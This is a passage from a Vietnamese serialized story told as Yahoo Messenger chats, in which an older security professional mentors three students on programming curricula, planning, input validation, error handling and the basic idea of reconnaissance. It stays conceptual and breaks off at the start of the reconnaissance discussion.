"Hì hì, nản hả? có gì mà nản em? Thỉnh thoảng vào 'đà khía' thế này vui mà. Thôi, anh phải logoff đây. Ngồi dính một chỗ lâu quá rồi. Anh vẫn còn ở nhà vài ngày tới, trưa trưa anh sẽ vào check mail mỗi ngày, đứa nào muốn 'đà khía' thì offline message cho anh một cái ha."
'ccxx' cười, pha trò:
"Í cha, anh già rút... đẹp thiệt à nha. Ảnh rào câu áp chót, chuyển qua câu chót là bye bye liền . Mai em cũng rảnh á, em sẽ online chờ anh."
'cuti' hùa theo:
"Em cũng vậy."
'docco' thận trọng:
"Nếu không có gì đột xuất, em cũng sẽ online luôn."
Tôi đáp:
"Ừa, cũng khoảng giờ này hoặc sớm hơn vào ngày mai hả? Chào mấy đứa."
26/9/2005
<còn tiếp>
|
|
|
11. Information? What the...
Suốt vài tuần qua tôi quá bận rộn nên liên lạc rất qua loa với bộ ba Hưng, Khoa và Duy. Hình như các cậu cũng nhận ra được điều này nên offline messages và e-mail từ bộ ba này ít hẳn. Cũng có thể các cậu quá bận rộn nên không còn thời gian để hỏi han nữa.
Chiều nay rảnh rang, tôi đăng nhập vào YIM để xem offline messages và không ngờ bộ ba Hưng, Khoa, Duy đang online. Tôi chào 'cuti':
"Hello Hưng, khoẻ hông em? Sao không học hành gì mà cứ 'trực' online hoài vậy?"
'cuti' trả lời tôi bằng một 'conference invitation':
"Hello anh già. Anh rảnh hông? Vào đây đi. Tụi em muốn hỏi vài chuyện được hông anh?"
Tôi chậc lưỡi, ngẫm nghĩ không biết mấy ông tướng này muốn hỏi gì. Hơn nữa tôi đang ở sở, vào YIM không tiện lắm. Thế nhưng tôi cũng tiếp nhận lời mời và mở đầu:
"Được rồi, anh vào vài phút rồi phải dzọt vì anh đang ở sở đó nha!"
'haothu' chào và nhận định:
"Chào anh, lâu ngày quá anh. Em thấy anh lúc nào cũng bận rộn vậy? Ngồi chơi với bọn em một tí thôi mà."
Tôi đáp:
"Ừa, anh thì lúc nào cũng bận rộn. Anh hiện đang ở sở nên vào YIM không tiện lắm. Nếu anh đang ở nhà thì dễ rồi. Mấy đứa có chuyện gì cần thiết không?"
'cuti' nhanh nhảu:
"Dạ cũng không có gì. Bọn em vừa thi xong nên rảnh rang hơn trước, định tiếp tục 'làm phiền' anh đây ."
'docco' cẩn thận:
"Em thấy mớ khái niệm và dẫn giải của anh trong những lần trước đây còn quá sức nhiều thứ để bọn em thử nghiệm và lãnh hội. Em không biết Hưng và Duy nghĩ sao chớ riêng em thì em cảm thấy như thế. Em sợ bị... 'bội thực' nếu không 'tiêu hoá' kịp nên có lẽ em sẽ không hỏi nhiều đâu."
Tôi cười đáp:
"Em nói đúng đó. Thông tin xung quanh mình nhiều lắm nhưng cái quan trọng là dung nạp nó như thế nào. Có những điểm mình cần phải hiểu cặn kẽ, có những điểm mình chỉ cần tiếp nhận để tiếp tục khai mở. Tuy nhiên, nếu một lúc nào đó cảm thấy có cảm giác muốn 'bội thực' thì nên chậm lại và dành thời gian để tháo gỡ những khúc mắc trước khi đi tiếp."
Cả ba dường như đang trầm ngâm. Hồi lâu, 'cuti' lên tiếng:
"Em thấy thằng Duy nói đúng thật và anh ủng hộ nhận xét của nó là hoàn toàn chính xác. Cũng may là bọn em có điều kiện học hành căn cơ ở trường. Cho nên khi nhận ra những lổ hổng của chính mình trong khi trao đổi với anh, bọn em có thể 'lấp lổ' không đến nỗi cực nhọc. Điều em thấy rõ là chương trình giáo dục của nước mình có những điểm cần cải thiện. Em thấy thầy cô giáo ít chịu đào sâu hoặc giới thiệu những kiến thức, thông tin mới mẻ mà cứ theo cái giáo trình cũ rích mà lặp đi, lặp lại."
Tôi thắc mắc:
"Làm sao em biết được giáo trình em đang học cũ rích vậy? và nếu chương trình giáo dục của nước mình cần cải thiện thì cần làm những gì?"
'haothu' Khoa xen vào:
"Hì hì, anh không biết đó thôi. Em dám chắc là anh không có giáo trình của trường em trong tay nên anh không rõ nó 'cũ rích' đến cỡ nào. Bọn em thì có thể truy cập Internet nên mày mò, lục lạo trên Internet, vào các trường đại học lớn trên thế giới thì thấy giáo trình của họ 'nặng' và mới hơn mình nhiều. Em chẳng thấy có mấy nước tân tiến còn dạy Pascal nữa. Trong khi đó ở VN mình, cứ chui đầu vào lập trình là dính ngay Pascal. Học mòn ghế vẫn cứ mấy cái chương trình 'đồ chơi' viết bằng Pascal chán như con gián. Lên một chút thì học VB. Ban đầu em còn thấy thích, sau đó mò vào các diễn đàn 'chuyên' về lập trình thì thấy bà con choảng nhau chí choé về VB. Em thấy phe chống cũng có lý vì học VB là học chương trình viết Visual Basic của Microsoft chớ chẳng phải hoàn toàn là học ngôn ngữ Basic. Học sinh học như thế, khi bị đẩy đến chỗ phải viết chương trình dùng ngôn ngữ Basic mà không có công cụ VB thì... bó tay. Còn khái niệm software engineering thì chẳng mấy ai đề cập đến. Cho nên khi thằng Duy chuyển cho em nội dung nó chat với anh lần trước, em thấy tiếc là đã vắng mặt "
Tôi đáp:
"Ùm... quả thật là anh không nắm được tình hình ở VN cho lắm. Anh có sinh hoạt trên một diễn đàn khác thì thấy có rất ít người quan tâm hơn đến những ngôn ngữ lập trình mới và quan tâm sâu đến software engineering. Ngoài ra, phần lớn tình hình quả có những điểm phản ảnh điều em vừa nhận xét."
'cuti' Hưng không kém phần khích động:
"Đó chỉ mới ở phương diện lập trình thôi đó anh. Các phương diện khác như networking, bảo mật thì rất sơ sài. Networking thì gần như là Microsoft Networking chớ chẳng phải là networking tổng quát. Còn bảo mật thì hầu như em chưa thấy ở trường dạy gì hết. Bởi vậy khi bắt đầu lò dò tham gia các diễn đàn, em thấy mình giống y như trong bụi nhảy ra vì có quá sức nhiều thứ mình chưa bao giờ nghe tới. Em nghe mấy thằng bạn đi học bên Sing, bên Châu Âu... bảo là bọn nó có nguyên một môn về security và môn này có nhiều phần nhỏ. Học xanh mặt luôn. Em không biết chừng nào nước mình mới đưa những thứ này vào giáo trình nữa. Còn vào diễn đàn chuyên bảo mật thì quanh đi quẩn lại chỉ toàn là những thứ đụng tới web, tới yahoo, chán ngấy đến cổ "
Tôi cười và nhận xét:
"Này, hình như bọn em kêu anh vào đây để 'tố khổ' chuyện giáo trình hay sao đó . Kêu với ai chớ kêu với anh thì cũng như 'nước đổ đầu vịt' thôi bởi vì anh đâu có làm gì được đâu nào. Anh nghĩ bọn em và các sinh viên nói chung nên làm một việc gì đó tích cực hơn cho vấn đề này. Ví dụ, bọn em ngồi lại với nhau và phân tích cặn kẽ ưu, nhược điểm của giáo trình hiện tại. Đưa ra các đề nghị thay đổi và lý do cụ thể để bảo vệ các đề nghị này. Tất nhiên mọi thứ phải trên giấy bút đàng hoàng, câu cú, trình bày cho tươm tất rồi trình lên ông trưởng khoa thì hoạ may."
'docco' Duy gởi một biểu tượng 'lè lưỡi' tỏ ý e ngại rồi nói:
"Trời, anh đúng là lạc hậu quá rồi. Chắc anh ở nước ngoài lâu quá nên quên hết chuyện nước mình. Em thấy chuyện này cực kỳ khó thực hiện. Thứ nhất, bọn em không đủ sức hình thành một bản phân tích cho ngon lành để trình cho ông trưởng khoa. Thứ nhì, em không dám chắc ông trưởng khoa có buồn tiếp nhận bản phân tích này hay không. Thứ ba, cho dù ông ta có tiếp nhận đi chăng nữa, em cũng không dám tin là ông ấy làm gì đó với đề nghị này hay nó bị... chìm vào quên lãng."
Tôi gật gù rồi đáp:
"Hèm... em đưa ra khó khăn, anh đề nghị hướng giải quyết nhưng hướng này xem ra không được hả? Anh chẳng biết phải làm gì hơn. Anh không thể nhận xét hay ý kiến nhiều vì chưa nắm rõ sự thể, chưa biết cái giáo trình em nói có nội dung như thế nào. Điều anh có thể đề nghị là nên làm một việc gì cụ thể và tích cực thì mới giải quyết được vấn đề. Nhưng sao tự nhiên lại 'tố khổ' vậy cà?"
'cuti' Hưng nhanh nhảu:
"Không phải tố khổ đâu anh. Em muốn đưa chuyện này ra chỉ để anh thấy rằng thực tế bọn em phải đối diện nhiều hạn chế lắm. Riêng em thì em chỉ mong là anh đừng nghĩ rằng bọn em lười nhác nên chẳng thu hoạch được bao nhiêu trong chuyện học tập bởi vì lắm khi em hỏi anh những điều... ngớ ngẩn."
Tôi đáp:
"Hì hì, hoá ra là muốn... phân bua đây. Có bao giờ em thấy anh phát biểu hay anh có thái độ gì chứng tỏ rằng anh nghĩ em lười nhác chưa? Em an tâm đi. Cứ thử chiêm nghiệm về mức độ trao đổi của anh em mình những lần đầu, lần này và những lần về sau, em sẽ thấy có những cái khác, có những cái biến thiên. Bởi vì không những chuyện kiến thức mà sự thông hiểu ý kiến và suy nghĩ của nhau làm cho việc trao đổi trở nên dễ dàng và thông suốt hơn nhiều. Nếu em quả thật lười biếng thì anh sẽ 'quạt' thẳng tay liền, đừng lo . Vậy bọn em cần anh vào đây có chuyện gì gấp không?"
'haothu' Khoa lên tiếng:
"Dạ không có gì gấp đâu anh. Phần em thì em chỉ thấy càng lúc càng lùng bùng sau mỗi lần xem lại nội dung trò chuyện của mấy anh em mình. Em đang cố gắng ghép nối những mẩu chuyện, những thông tin trong nội dung trò chuyện này lại với nhau để hình thành một khối thông tin liền lạc nhưng em thấy khó quá . Em định hỏi thêm anh một số điểm, được không anh?"
Tôi trả lời:
"Được chớ em. Tuy nhiên không phải ngay bây giờ bởi vì anh đang ở sở, anh phải logoff đây. Tối nay về nhà, mấy anh em mình nói chuyện tiếp nếu bọn em rảnh. Hay em thấy khi nào thì tiện?"
'cuti' Hưng liếng thoán:
"Dễ quá mà anh. Bọn em vừa thi xong, thời gian không là vấn đề. Chiều nay em sẽ online canh chừng anh lên á."
'docco' Duy diễu:
"Còn 'ẻm' để đâu mà lên ngồi canh chừng vậy pa? Nói lên là phải lên đó nha."
Tôi kết thúc:
"Thôi, anh phải dông đây. Có gì chiều tối gặp lại." và tôi logoff.
---------------------
Cơm nước xong, tôi thong thả log vào YIM. Quả thật ba 'trự' Hưng, Khoa và Duy đang 'canh chừng'. Tôi chào và chọc quê 'cuti':
"Hông bận lo 'ẻm' hay sao mà lên đây 'canh' thật vậy em?"
'cuti' gởi tôi conference invitation kèm theo thông điệp:
"Ái chà, thằng khứa Duy khai với anh hết rồi phải hông?"
Tôi tiếp nhận lời mời và kèm theo câu trả lời:
"Khai gì em? khai vụ em đi hóng mát với 'ẻm' đó hả?"
'haothu' và 'docco' gởi hai thông điệp gần như cùng một lúc, cùng chế diễu 'cuti':
"Thằng khỉ Hưng này cái gì cũng được, chỉ có chuyện 'ghệ' là dấu dấu diếm diếm như mèo dấu..."
"Trời, có gì mà dấu hả pa? 'ẻm' chịu đi chơi thì phải vỗ ngực tự hào chớ việc gì phải ngại?"
Tôi xen vào:
"Thôi, 'cuti' không thích 'bàn' chuyện này thì tha cho nó đi mấy đứa. Chừng nào nó muốn 'thổ lộ tinh tầm' thì tự nhiên nó sẽ... phun ra có... vòi thôi ."
'haothu' không tha, chêm thêm:
"Em biết thằng khỉ Hưng quá rõ mà anh. Em học với nó từ cấp I lên, bây giờ nó đang nghĩ trong đầu em cũng biết nữa mà. Em chỉ chọc quê cho vui tí thôi chớ thằng này lịt lịt mà xịt ra khói đó."
Tôi cười và lảng sang chuyện khác:
"OK, hồi chiều em nói là em có vài thắc mắc gì đó Khoa, em nói đi."
'haothu' ngập ngừng:
"Chà.... hông biết tự nhiên sao em quên tuốt luốt là mình muốn nói gì nữa. Anh chờ em một tí để em 'restart' lại con CPU trong não của em cái đã."
Chuyển hướng sang 'cuti' để 'haothu' có thời gian sắp xếp lại những điều mình muốn nói, Tôi đáp:
"Thong thả thôi em. Còn 'cuti' có nhận xét gì về nội dung Duy và anh nói chuyện lần trước không?"
'cuti' nhanh nhẩu:
"Thì... đã chớ sao anh? nhưng chắc không đã bằng nói chuyện 'trực thoại' rồi đó. Em chỉ có cảm giác là những điều mấy anh em mình bàn càng ngày càng rộng ra chớ không phải càng ngày càng đi vào chi tiết. Em đoán rằng anh muốn chia xẻ những khái niệm quan trọng và cần thiết để tiếp cận vấn đề. Tuy nhiên, thực tình mà nói thì em thấy rất khó liên hệ nó đến môi trường thực tế. Có lẽ tụi em chưa đi làm, chưa có nhiều kinh nghiệm nên thấy những khái niệm anh đưa ra nó lạ lẫm quá."
'haothu' reo lên:
"Trời, thằng Hưng nói sao đúng ý em vậy? Em cũng muốn nói với anh như thế. Em thấy những khái niệm về tính liền lạc, về sự quan trọng của giềng mối, dẫn đến chuyện nhìn vấn đề từ nhiều phía, rồi khái niệm và kỹ năng chuẩn bị trước khi thực hiện ý định.... mà anh đưa ra đều hết sức lý thú. Tuy nhiên, em ráng 'apply' vào trong thực tế em đang đối chọi thì chẳng biết phải bắt đầu từ đâu cả. "
Tôi trầm ngâm vài giây rồi hỏi:
"Em cho anh một ví dụ thực tế mà em đang đối chọi xem?"
'haothu' đáp:
"Dạ ví dụ như ở trường ra bài lập trình chẳng hạn. Yêu cầu dùng một ngôn ngữ lập trình nào đó để tính ngày, giờ, khoảng cách, chuỗi số, biến thiên.... Em thấy những thứ này chỉ cần hình thành một cái thuật toán nào đó rồi xem cú pháp ngôn ngữ làm thế nào là viết thôi. Em cố hình dung làm sao nhận định giềng mối của yêu cầu đến phần tạo thuật toán rồi đến chuyện tìm hiểu cú pháp. Và rồi, nhìn từ nhiều phía trong hoàn cảnh này là nhìn thế nào anh? Còn chuẩn bị kế hoạch thì tất nhiên là phải chuẩn bị rồi đó nhưng chẳng lẽ em phải viết một bản kế hoạch trên giấy?"
Tôi cười đáp:
"Anh nghĩ em hơi bị... máy móc rồi. Những khái niệm kia nên ứng dụng một cách linh động, tùy hoàn cảnh, tùy mức độ lớn nhỏ của công việc. Mình không thể áp dụng mọi thứ một cách cứng nhắc được.
Nói về mặt giềng mối cho yêu cầu cụ thể ở trên với việc hình thành thuật toán và cú pháp của ngôn ngữ lập trình thì anh nghĩ rằng em khai triển nó đúng trình tự và logic rồi. Giềng mối giữa yêu cầu và thuật toán quá rõ ràng và hiển nhiên: phải hiểu được và hiểu đúng yêu cầu thì mới hình thành đúng thuật toán. Đi xa hơn nữa em có thể tự chất vấn mình để xem thuật toán mình vừa hình thành có tối ưu chưa. Sau khi hình thành kết quả cuối cùng cho thuật toán, mang nó vào việc coding chỉ là một bước ứng dụng. Thuật toán của em càng hay, càng súc tích, càng vững thì tự nhiên bước coding trở nên đơn giản và đẹp thôi. Theo anh đây là cái giềng mối hiển nhiên.
Nói về chuyện 'nhìn nhiều phía' thì có vẻ hơi trừu tượng hơn mặt 'giềng mối' một tí. Tuy nhiên, ở mức độ nào đó em vẫn có thể 'nhìn' nó ở góc độ khác nhau. Ví dụ em tự xét xem giải thuật được đặt ra với mục đích là gì? em muốn lấy kết quả cuối cùng mà chương trình trả về, hay em muốn thấy nó giải quyết vấn đề nhanh chậm, hiệu xuất ra sao trong cả một khối ứng dụng nào đó. Giả sử chương trình em viết sẽ được một người dùng và chỉ sử dụng những giá trị nhập đơn giản, đúng tiêu chuẩn thì sao? nếu 100 người cùng dùng và họ đòi hỏi giá trị nhập phức tạp hơn, đa dạng hơn thì sao? Đó là chưa kể em cần nhìn từ góc độ người dùng để hình thành chương trình của mình vững vàng hơn.
Riêng chuyện 'hình thành kế hoạch' thì anh nghĩ thế này. Đây là một thói quen và lối khai triển của mỗi cá nhân. Nếu em có thói quen và khả năng hình thành kế hoạch trong đầu một cách rành mạch mà không cần giấy bút thì không việc gì phải dùng giấy bút. Trường hợp này thật ra chỉ khả thi cho những công việc có tầm cỡ nhỏ và đơn giản. Một khi em phải tiếp diện với một công trình lớn, phân tích và hình thành kế hoạch trên giấy bút không những giúp em nhận định vấn đề một cách chính xác và chi tiết hơn, nó còn là một phương tiện lưu trữ bởi vì dăm ba ngày, một vài tháng em sẽ quên hết các chi tiết. Nếu em muốn quay lại (vì lý do nào đó) thì em vẫn còn thông tin lưu trữ. Ở khuôn khổ bài tập ở trường, có lẽ em chưa thấy sự quan trọng của việc hình thành kế hoạch (mặc dù ở mức độ nào đó em vẫn phải hình thành kế hoạch trước khi thực hiện) nhưng chắc chắc em sẽ thấy nó quan trọng như thế nào trên thực tế công việc. Cho mục đích hoàn tất bài tập, một trang nhăng nhít những chọn lựa, sửa đổi thuật toán và dăm ba dòng mã giả (psuedo code) trước khi em bắt tay vào viết, theo anh đó chính là 'hình thành kế hoạch' rồi ."
'haothu' Khoa hỏi tiếp:
"Anh cho em hỏi chi tiết này nha? anh nói Đó là chưa kể em cần nhìn từ góc độ người dùng để hình thành chương trình của mình vững vàng hơn là sao anh?"
Tôi đáp:
"Ừa, anh cũng đoán nếu như em thực sự quan tâm đến kết quả em tạo ra, em sẽ thắc mắc khía cạnh này. Em nghĩ thế nào về câu nói ấy vậy?"
'haothu' Khoa có vẻ ngập ngừng:
"Dạ, em nghĩ... à... ùm... mình viết chương trình xong rồi mình dùng nó để thử nghiệm thì mình đã tự đặt mình vào góc độ người dùng rồi phải không anh? Em nghĩ phải có lý do gì khác anh mới đề cập chi tiết này. Nếu nó chỉ đơn giản như thế thì anh nêu ra làm chi phải không ạ?"
Tôi cười đáp:
"Đúng vậy, em nhận xét đúng lắm. "Nhìn từ khía cạnh người dùng" tất nhiên sẽ liên quan đến chuyện dùng chương trình này. Tuy nhiên, nhìn như thế nào mới là quan trọng. Khi em viết một chương trình hay tạo ra một quy định nào đó, em thường bị sa vào cõi chủ quan. Có nghĩa là em giả định mọi người cũng nghĩ như em. Ví dụ, em biết rõ chương trình của em chỉ tiếp nhận số nguyên chẳng hạn, khi thử nghiệm hiển nhiên em chỉ dùng các con số tròn trịa để dùng. Bởi thế, kết quả em nhận được luôn luôn chính xác. Tại sao em lại dùng những con số 'tròn trịa' để thử nghiệm? đây là vấn đề tâm lý mà thôi, trí não con người làm việc rất kỳ lạ . Nếu người dùng bình thường lỡ tay gõ vào một số thực chẳng hạn, chuyện gì xảy ra? Hoặc họ lỡ tay gõ nhầm một dấu chấm, dấu phẩy trong phần INPUT thì chuyện gì xảy ra? Tất nhiên là chương trình sẽ có sự cố, phải không em?"
'cuti' Hưng rú lên:
"Ái chà, hay thật. Nếu là em thì em cũng chẳng nghĩ đến chuyện người dùng sẽ gõ những gì khác ngoài các con số thực. Đúng là trí não con người kỳ lạ thật. Đây có phải là 'kinh nghiệm chiến trường' không anh?"
Tôi đáp:
"Ừa, 'kinh nghiệm chiến trường' đóng góp một phần nào đó nhưng theo anh, 'kế hoạch chuẩn bị' chu đáo giúp loại bỏ các sự cố này. Vậy, nhìn từ phương diện người dùng, em nghĩ sao nếu như em 'lỡ tay' gõ một giá trị gì đó và làm cả chương trình bị... treo?"
'haothu' cười và trả lời:
"Dạ, thì em sẽ nghĩ rằng chương trình đó... chuối chớ sao anh? "
Tôi nói tiếp:
"Nếu thế thì mình nên làm gì để cho nó không... chuối nữa?"
'cuti' liếng thoắng:
"Mình mở rộng để chương trình ấy tiếp nhận thêm số thực?"
'docco' Duy chậm rãi:
"Em nghĩ mình cần dùng cơ chế 'error handling' nào đó. Đưa vào các cụm điều kiện cách để thẩm định xem giá trị INPUT có thoả mãn yêu cầu hay không trước khi xử lý."
Tôi đáp:
"Ý kiến của em hay lắm đó Duy. Liệu mình mở rộng ra để tiếp nhận thêm số thực có đáp ứng chính xác yêu cầu của đề bài hay không Hưng? Đó là chưa kể trường hợp người dùng 'lỡ tay' gõ vào một ký tự nào đó bất hợp lệ. Anh thấy một điểm lý thú là mấy đứa nghiên về hướng tạo giải pháp cấp thời hơn là nhìn vấn đề ở bình diện tổng quát ."
'cuti' chống chế:
"Em nghĩ mở rộng cũng hay mà anh. Chắc em suy nghĩ chưa kỹ hay sao đó."
Tôi trả lời:
"Ừa, có lẽ em chưa suy nghĩ kỹ không chừng . Đà khía chi tiết này là vì anh muốn nhấn mạnh tầm quan trọng của việc chuẩn bị kế hoạch đó thôi. Nếu chuẩn bị kế hoạch kỹ thì em có dịp liệt kê ra hầu hết các tình huống và giải pháp cho mỗi tình huống hơn là nảy ra một ý kiến nhất thời nào đó."
Tôi tiếp tục khơi mào:
Vậy đứng trên phương diện bảo mật, sự nguy hiểm của việc thiếu xác thực giá trị nhập sẽ là gì?"
'haothu' xuýt xoa:
"Ái chà, em thấy làm gì thì làm chớ software mình viết mà chính nó bị treo hay nó làm treo máy thì thật là xấu hổ. Nếu nói về mặt bảo mật thì rõ ràng sự cố này phạm lỗi bảo mật rồi."
Tôi đáp:
"Đúng như vậy đó Khoa. Bất cứ sự cố ý hay vô tình làm software bị crash trong môi trường một hoặc nhiều người dùng đều có thể xem là bị phạm lỗi bảo mật (vì software thiếu an toàn). Khía cạnh bảo mật nằm ở chỗ tình trạng dịch vụ bị treo hoặc không còn tồn tại để cung cấp cho người dùng."
'docco' reo lên:
"A, em liên tưởng đến những trường hợp thâm nhập trên web mà em có đọc qua nhiều nơi. Có phải ý anh là việc input validation không vững chắc thì sẽ dẫn tới hiệu quả thiếu bảo mật?"
Tôi cười và đáp lời 'docco':
"Em nhận xét đúng lắm. Một HTML form hay bất cứ một phương tiện nào tiếp nhận dữ liệu nhập đều nên có cơ chế input validation. Thiếu cơ chế này, dữ liệu nhập có thể chứa những thứ bất hợp lệ (đối với chương trình ứng dụng) và sẽ tạo hậu quả lớn nhỏ, khác nhau, tùy theo hoàn cảnh. Không những 'input validation' hết sức quan trọng mà cơ chế 'error handling' cũng vậy. Một lập trình viên giỏi và cẩn thận thường đi xuyên qua bước 'chuẩn bị kế hoạch' để tạo nên các trường hợp cho 'error handling'. Cơ chế này càng tỉ mỉ thì cơ hội dẫn đến những biến cố tiêu cực và những thông tin nguy hại xảy ra càng ít."
'cuti' Hưng nhận xét:
"Hì hì, từ một bài tập lập trình mà anh dẫn đến cả chuyện thiết kế phần mềm lẫn khía cạnh bảo mật của nó được. Phải nói là em phục anh đó. Em nghĩ cái bài tập đó chỉ có tụi em dùng thôi, ông thầy chấm xong là vĩnh viễn chẳng bao giờ đụng tới mấy cái software 'đồ chơi' đó nữa anh ơi."
Tôi cười, đáp:
"Hì hì, bởi thế ngay từ đầu anh đã nói là mình phải uyển chuyển, phải linh động trong khi ứng dụng một hoặc nhiều nguyên tắc / khái niệm cho việc gì đó. Không nên cứng nhắc không thì hoá ra trì trệ và thiếu ứng hiệu. Chuyện anh mở rộng ở đây chỉ là một số khía cạnh thường thấy trong khi đi học cũng như trong lúc đi làm thôi. Đó là những 'kinh nghiệm xương máu' anh muốn chia xẻ để em khỏi dẫm lại những bước anh đã dẫm . Có thể em chưa liên tưởng những điểm trên rõ ràng ngay lúc này nhưng anh hy vọng một ngày không xa em sẽ thấy điều anh đặt ra ở đây nó 'thật' và 'thường gặp' đến mức nào. Tạo một chương trình nhỏ bé, đơn giản có thể khó thấy được tầm quan trọng của việc 'chuẩn bị kế hoạch' và chuyện 'error handling' hay 'input validating'. Tuy nhiên, nắm bắt được tầm quan trọng của các khái niệm này ngay lúc này thì sẽ đỡ vất vả hơn khi đụng phải những thứ to lớn hơn."
'docco' lên tiếng:
"Em vẫn thấy những chuyện này quá gần với lãnh vực software engineering hơn là bảo mật anh à. Có lẽ em vẫn chưa hình dung được một chuyên viên bảo mật thật sự phải làm những gì. Cũng có thể những điều em nghe thấy đã tạo ra cho em một tiêu chuẩn nào đó về trách nhiệm của một chuyên viên bảo mật và tiêu chuẩn này hơi... khác những điều anh đưa ra."
Tôi đáp:
"Em có nghe câu ngạn ngữ tiếng Anh: the first impression lasts chưa? Ấn tượng đầu tiên đóng vai trò rất quan trọng. Những điều em nghe thấy và đã tiếp nhận trước đây thường trở thành một thứ tiêu chuẩn của em. Anh thấy việc tiếp nhận một điều hoàn toàn mới dễ hơn là vứt bỏ 'tiêu chuẩn' cũ để tiếp nhận 'tiêu chuẩn' mới. Điều mình có thể rút ra ở đây là một chuyên viên bảo mật kinh nghiệm, một tay thâm nhập sừng sỏ và một lập trình viên dày dặn đều có chung một điểm: họ đều có khả năng chuẩn bị kế hoạch, có khả năng phân tích và thẩm định vấn đề. Còn lý do tại sao việc 'chuẩn bị kế hoạch' cẩn thận là việc cần thiết thì anh đã phân tích lần trước rồi.
Trong giới hạn bài tập ở trường mà Khoa đưa ra ở đây thì anh dám chắc một điều: em đạt kết quả cao hơn nếu em 'chuẩn bị kế hoạch' kỹ lưỡng; em đạt kết quả thấp hơn nếu em bắt tay vào thực hiện liền mà không chuẩn bị hoặc ít chuẩn bị.
Trên bình diện bảo mật, nhiều người cho rằng viết software thế nào thì viết, miễn sao nó chạy là tốt. Muốn bảo vệ hệ thống thì chỉ cài firewall, gắn những thiết bị bảo mật vào là đâu vào đó. Đây là một cách nhìn phiến diện. Nếu em quan tâm đến bảo mật và thâm nhập thì đây là một chi tiết quan trọng đó. Firewall chỉ cản không cho phép truy cập các dịch vụ bị 'cấm' và ở mức độ nào đó, nó cản một số trường hợp thâm nhập điển hình. Không có firewall nào có thể cản lọc mọi hình thức đăng nhập dữ liệu (vô tình hoặc cố ý) có thể gây ra vấn đề hư hoại cho hệ thống cả."
'cuti' phát biểu:
"Em công nhận anh nói rất có lý. Chắc bọn em phải ứng dụng thử xem sao. Hình như anh có vẻ chú trọng đến 'thái độ' tiếp cận và khai triển vấn đề hơn là chi tiết khai triển cụ thể như thế nào phải không anh?"
Tôi đáp:
"Chà, hôm nay 'cuti' nhận xét tinh tế lắm. Đúng như thế. Chi tiết khai triển thế nào thì chỉ cần có thời gian và thông tin thu thập được là khai triển được. Tuy nhiên, 'thái độ' thì chỉ có thể xác định đúng một lần ngay từ đầu mà thôi. Nếu tiếp cận và khai triển với thái độ không đúng mức thì cho dù có bao nhiêu cách khai triển (có sẵn) cũng có thể dẫn đến kết quả không hoàn toàn như ý."
'cuti' khoái chí:
"Dạ, không ít thì nhiều cũng thu thập được gì đó chớ anh? "
'docco' Duy hỏi tiếp:
"Bây giờ em hỏi những việc gì cần chuẩn bị cho kỹ thuật "reconnaissance" được không anh? Hồi nãy anh có đề cập đến chuyện chuyên viên bảo mật, người thâm nhập và lập trình viên giỏi đều có khả năng chuẩn bị kế hoạch. Vậy trong việc dò tìm thông tin của một hệ thống đòi hỏi phải chuẩn bị những gì vậy anh?"
Tôi cười đáp:
"Hà hà, em thấy 'ngứa ngáy' với 'reconnaissance' hả? Rồi, thì mình bàn thử. Hãy nhìn 'reconnaissance' như một công tác và đã là một công tác thì nó phải có nhu cầu cụ thể. Em còn nhớ chuyện 'nhu cầu cụ thể' mà mình đã đà khía trước đây hông?"
'docco' đáp:
"Dạ nhớ chớ anh. Anh muốn em trả lời nhu cầu cụ thể của em cho việc 'reconnaissance' là gì hả?"
Tôi đáp:
"Ừa, phải có nhu cầu cụ thể thì mình mới khai triển được chớ em "
'docco' trả lời:
"Em nghĩ 'reconnaissance' là tìm hiểu xem hệ thống mình muốn thâm nhập có những dịch vụ gì, nó chạy trên môi trường nào, nó thuộc mô hình mạng ra sao, có những điểm mạnh yếu gì... để giúp mình hình thành phương án thâm nhập (hay bảo vệ) cho sâu sát. Đó là những điểm em 'gặt hái' được từ những lần mấy anh em mình nói chuyện,"
Tôi cười và khơi mào thêm:
"Vậy, nhu cầu cụ thể là biết rõ mục tiêu để tìm cách thâm nhập nó phải không? Bây giờ để hình thành kế hoạch cụ thể, mình sẽ thăm dò cái gì trước? cái gì sau? làm sao mình xác định được những thông tin mình tìm kiếm là xác thực? những phương tiện nào mình sẽ dùng để thăm dò?"
'cuti' xen vào:
"Ái chà, nãy giờ ngẫm nghĩ em mới thấy những gì anh em mình đà khía từ trước đến giờ đều có liên quan mật thiết với nhau. Công nhận độc thật.. độc thật."
'haothu' thắc mắc:
"Pa lại lảm nhảm gì nữa đó pa?"
'cuti' giải thích:
"Nè nè, đầu tiên mình bàn chuyện 'hack' là gì, sau đó mình bàn đến chuyện muốn 'thâm nhập' phải biết rõ cái mình muốn 'thâm nhập'. Kế tiếp mình đào xới chuyện 'biết rõ' là phải biết thế nào, phải nắm ngọn ngành ra làm sao. Rồi đến chuyện những giềng mối trong quá trình thu thập để có thể 'biết rõ'. Kế đến là kỹ năng nhìn nhận và tiếp nhận vấn đề từ nhiều phía. Lại thêm chuyện phải có kế hoạch để khai triển việc mình cần làm sau khi xác định rõ nhu cầu cụ thể. Những điểm này không liên quan mật thiết với nhau thì là gì nữa ông cụ?"
'haothu' gật gù:
"À há, tao thua mày đó Hưng. Tao cố tổng hợp lại những thứ này mà không được và nó cứ rối bòng bong lên."
'cuti' phấn khích nhưng làm ra vẻ khiêm tốn:
"Đâu có gì đâu mày. Chỉ cần xét lại trọn bộ những điểm cốt lõi mà bọn mình đã bàn thì ra liền thôi."
Tôi nhận xét:
"Em tổng hợp vậy là xuất sắc đó Hưng. Phần còn lại chỉ là ứng dụng sao cho uyển chuyển thôi."
'cuti' không kìm được:
"Ặc ặc, tưởng đâu đầu óc bị lú lẫn rồi chớ. Lâu lâu nói đúng một phát, được khen một phát sướng lên mây... ặc ặc, hu hu."
Lúc này 'docco' mới xen vào:
"Mấy pa này cứ cắt ngang hoài. Người ta đang nói chuyện 'recconnaissance' mà trời!"
Tôi trấn an 'docco':
"Lo gì em. Mình còn ngày dài tháng rộng để nói chuyện mà. Anh thấy Hưng tổng kết như vậy là chuyện rất nên làm đó. Ok, hồi nãy mình đang nói tới đâu rồi nhỉ?"
'docco' hình như đã gõ sẵn nên thông điệp của cu cậu hiện ra trên màn hình gần như ngay sau khi tôi trả lời:
"Dạ, hồi nãy đến đoạn anh hỏi là mình sẽ thăm dò cái gì trước? cái gì sau. Cách nào xác định được những thông tin tìm kiếm là xác thực. Những phương tiện nào sẽ dùng để thăm dò đó anh. Những điểm anh đưa ra ở đây chính là những điểm em thắc mắc đó. Mình thăm dò cái gì trước, cái gì sau có quan trọng không anh?"
Tôi đáp:
